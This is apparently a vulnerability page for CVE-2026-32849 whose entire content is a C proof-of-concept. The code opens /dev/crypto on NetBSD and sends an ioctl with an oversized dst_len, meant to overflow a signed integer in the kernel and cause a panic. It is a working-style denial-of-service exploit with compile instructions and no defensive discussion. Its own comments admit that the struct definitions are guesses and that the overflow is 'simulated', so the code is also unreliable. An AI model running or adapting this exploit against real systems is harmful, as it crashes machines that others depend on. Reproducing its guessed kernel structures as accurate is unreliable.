CVE-2026-32849 NetBSD cryptodev有符号整数溢出漏洞

/* * PoC for CVE-2026-32849 * This code attempts to trigger the integer overflow in NetBSD cryptodev. * Compile: gcc -o poc_netbsd_crypto poc_netbsd_crypto.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/types.h> // Definitions might vary based on specific NetBSD version headers #define CIOCCRYPT _IOWR('d', 101, struct crypt_op) #define CIOCGSESSION _IOWR('d', 102, struct session_op) #ifndef CRIO_COMP #define CRIO_COMP 0 #endif struct session_op { uint32_t cipher; uint32_t mac; uint32_t keylen; void *key; uint32_t mackeylen; void *mackey; uint32_t ses; // Session ID returned }; struct crypt_op { uint32_t ses; uint16_t op; uint16_t flags; void *src; void *dst; size_t len; void *iv; // The vulnerable field is dst_len in some contexts or derived from len // In this specific PoC we simulate the overflow condition via the // structure member that maps to the kernel's cop->dst_len size_t dst_len; }; int main() { int fd = -1; struct session_op sess; struct crypt_op cop; // Open the crypto device fd = open("/dev/crypto", O_RDWR); if (fd < 0) { perror("open /dev/crypto"); return 1; } printf("[+] Opened /dev/crypto\n"); // Setup a session (Compression type as per vulnerability description) memset(&sess, 0, sizeof(sess)); sess.cipher = CRIO_COMP; // Targeting compression session if (ioctl(fd, CIOCGSESSION, &sess) < 0) { perror("ioctl(CIOCGSESSION)"); close(fd); return 1; } printf("[+] Session created with ID: %d\n", sess.ses); // Prepare the operation to trigger the overflow memset(&cop, 0, sizeof(cop)); cop.ses = sess.ses; cop.src = (void *)0x1000; // Dummy address cop.dst = (void *)0x2000; // Dummy address cop.len = 0; cop.op = 0; // COP_ENCRYPT or similar // Trigger the vulnerability: // Assign a value > INT_MAX to dst_len. // In the kernel, iov_len (signed int) = cop->dst_len (unsigned). // This causes signed integer overflow. cop.dst_len = 0xFFFFFFFF; // 4294967295 printf("[+] Sending malicious request with dst_len = 0x%zx\n", cop.dst_len); printf("[!] This will likely cause a Kernel Panic (DoS).\n"); // Execute the ioctl if (ioctl(fd, CIOCCRYPT, &cop) < 0) { perror("ioctl(CIOCCRYPT)"); // If ioctl fails due to validation, panic might be avoided, // but the description suggests it leads to panic directly or via UB. } close(fd); return 0; }